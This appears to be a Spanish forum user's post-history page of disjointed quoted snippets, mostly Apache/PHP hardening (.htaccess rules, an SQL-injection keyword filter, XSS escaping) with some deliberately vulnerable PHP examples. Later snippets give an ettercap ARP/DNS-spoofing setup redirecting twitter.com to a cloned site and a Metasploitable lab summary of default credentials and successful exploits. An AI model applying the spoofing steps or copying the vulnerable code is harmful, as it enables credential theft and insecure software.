Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Citardefaults write com.apple.finder AppleShowAllFiles TRUE
Citardefaults write com.apple.finder AppleShowAllFiles FALSE
Citardeny from all
allow from (Direccion IP)
CitarAddType application/x-httpd-php .extension
CitarAddType application/x-httpd-html .painboy
CitarRewriteEngine On
ErrorDocument 404: Paginaadondellevasisecometeerror
CitarRewriteEngine OnDesabilitar el Acceso a una carpeta
ErrorDocument 505: archivoaredireccionarsisedaelerror505
Citar#deny all accessy con eso nadie podria acceder al contenido de archivos de esa carpeta.
deny from all
CitarRewriteEngine On
ErrorDocument 404: Paginaadondellevasisecometeerror
CitarRewriteEngine OnBueno pues ya saben evitar errores de este tipo.por ejemplo hagan lo siguiente:
ErrorDocument NºDELARCHIVOERROR: PGINAAREDIRECCIONSIOCURREESEERROR
Citar1. RewriteCond %{HTTP_REFERER} !^$
2. RewriteCond %{HTTP_REFERER} !^No tienes permitido ver los links. Registrarse o Entrar a mi cuenta$ [NC]
3. RewriteCond %{HTTP_REFERER} !^http://websitetuya/.*$ [NC]
4. RewriteCond %{HTTP_REFERER} !^http://websitetuya$ [NC]
5. RewriteCond %{HTTP_REFERER} !^http://websitetuya/.*$ [NC]
6. RewriteRule .*\.(fla|gif|jpg|jpeg|png|bmp)$ - [F,NC,L]
CitarServerSignature Off
Query_string
CitarRewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC]
CitarRewriteCond %{HTTP_COOKIE} PHPSESSID=([^;]+) [NC]
RewriteRule ^(.*)$ - [env=sessid:%1]
Header set Set-Cookie "PHPSESSID=%{sessid}e; path=/; HttpOnly" env=sessid
Citar<?php
echo $var;
?>
Citarphp_flag register_globals off
CitarAuthUserFile /rutacompleta/hacia/.htpasswd
AuthName AquiPuedesPonerLoQueQuieras
AuthType Basic
require user NOMBREUSUARIO
Citarhtpasswd -cb .htpasswd USUARIO CONTRASEÑA
Citarallow_url_fopen = off
Citardisplay_errors = Off
display_startup_errors = Off
Citarsafe_mode = On
CitarRegister_globals
Citarregister_globals = off
Citar<?php
$Proteccion = strip_tags($_REQUEST['Comentario'];
echo $Proteccion;
?>
Citar<?php
echo $_REQUEST['Comentario'];
?>
Citar<?php
$Proteccion = htmlentities($_REQUEST['Comentario']);
echo $Proteccion;
?>
CitarSELECT * FROM painboy
CitarSELECT nombre FROM painboy
Citarinclude($URL)
Citar$url = intval($_GET['url']); //la variable URL solo tendra un valor entero
$archivo = "./documentos/cont".$url.".php"; //localizacion del archivo
if (file_exists($archivo)) include($archivo); // lo busca y si existe lo muestra
CitarRegister_globals = off
Citarallow_url_fopen = off
Citar<?php
if(!$_GET['objeto']){
include('painboy.php');
}else{
$_GET['objeto'] = str_replace('http://','', $_GET['objeto']);
if(file_exists($_GET['objeto'].'.php')){
include($_GET['objeto'].'.php');
}
}
?>
Citar<?php
$_GET['proteccion'] = str_replace(array('.','/','\\'),'',$_GET['proteccion']);
?>
CitarA. ifconfig
B. locate etter.dns
C. nano /usr/local/share/ettercap/etter.dns
Citartwitter.com A 192.168.1.104
*.twitter.com A 192.168.1.104
www.twitter.com A 192.168.1.104
CitarEnter the url to clone: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Citarettercap -T -q -l wlan0 -P dns_spoof -M arp // //
System credentials:
-------------------
msfadmin:msfadmin
user:user
service:service
postgres:postgres
klog:123456789
Discovery:
-------------
ftp 21/tcp
ssh 22/tcp
telnet 23/tcp
smtp 25/tcp
dns 53/tcp
dns 53/udp
http 80/tcp
netbios 137/udp
smb 139/tcp
smb 445/tcp
mysql 3306/tcp
distccd 3632/tcp
postgres 5432/tcp
http 8180/tcp
Bruteforce:
-----------
smb Anonymous
ssh 6 sessions
telnet 6 sessions
bind n/a
apache 2 web apps (twiki and tikiwik)
postgres db compromise (postgres:postgres)
mysql db compromise (root:root)
tomcat 5.5 shelled (tomcat:tomcat)
Exploits:
---------
distcc Excellent 1 session on all ranking levels
tomcat_mgr_deploy Excellent requires credentials
tikiwiki_graph_formula Excellent 1 session on all ranking levels
twiki Excellent information disclosure
mysql_yassl_getname Good triggers crash, but not working
espero me ayuden! Salu2 
